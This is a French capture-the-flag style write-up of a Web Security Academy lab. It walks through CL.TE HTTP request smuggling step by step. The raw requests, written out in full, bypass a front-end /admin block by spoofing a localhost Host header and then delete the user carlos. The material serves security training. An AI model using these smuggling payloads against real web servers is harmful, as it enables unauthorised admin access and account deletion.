Bypass de seguridad front-end (CL.TE)

Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability | Web Security AcademyWebSecAcademy

Le lab utilise un serveur front-end et un back-end. Le front-end ne prend pas en charge le chunked encoding, tandis que le back-end, lui, l’accepte. L’accès au panneau d’administration situé à /admin est bloqué par le front-end.

L’objectif est de smuggler une requête vers le back-end permettant d’accéder au panneau d’administration, puis de supprimer l’utilisateur carlos.

1. Vérification de la vulnérabilité CL.TE

Le front-end interprète le Content-Length, tandis que le back-end utilise Transfer-Encoding.

Payload de base CL.TE :

POST / HTTP/1.1

Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net

Content-Length: 5

Transfer-Encoding: chunked



0

Cela renvoie un 200, ce qui confirme que le back-end prend en compte Transfer-Encoding.

2. Injection d’une requête smuggled

Lorsque l’on enchaîne ensuite une requête, le back-end lit la requête smuggled :

Content-Length: 33

Transfer-Encoding: chunked



0



GET /admin HTTP/1.1

Test: A

Le back-end répond que seuls les utilisateurs locaux peuvent accéder à /admin.

3. Usurpation du host pour paraître local

Pour contourner la restriction, il faut que le back-end croie que la requête provient de localhost.

Tentative initiale :

POST / HTTP/1.1

Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net

Content-Length: 41

Transfer-Encoding: chunked



0



GET /admin HTTP/1.1

Host: localhost

Mais le serveur renvoie :

{
 "error":"Duplicate header names are not allowed"
}

Le back-end n’interprète donc pas cette requête comme une nouvelle requête complète.

4. Construction d’une requête smuggled correcte

On ajoute un Content-Length dans la requête smuggled, afin qu’elle soit traitée correctement :

POST / HTTP/1.1

Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net

Content-Length: 73

Transfer-Encoding: chunked



0



GET /admin HTTP/1.1

Host: 127.0.0.1

Content-Length: 9



test=test

Pour que le back-end lise correctement la requête, on ajuste la taille :

Content-Length: 10

La requête complète envoyée au front-end devient alors :

POST / HTTP/1.1

Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net

Content-Length: 73

Transfer-Encoding: chunked



0



GET /admin HTTP/1.1

Host: localhost

Content-Length: 10



test=test

5. Suppression de l’utilisateur carlos

Il suffit maintenant de remplacer la ligne GET par l’appel à la suppression :

Content-Length: 97

Transfer-Encoding: chunked



0



GET /admin/delete?username=carlos HTTP/1.1

Host: localhost

Content-Length: 10



test=test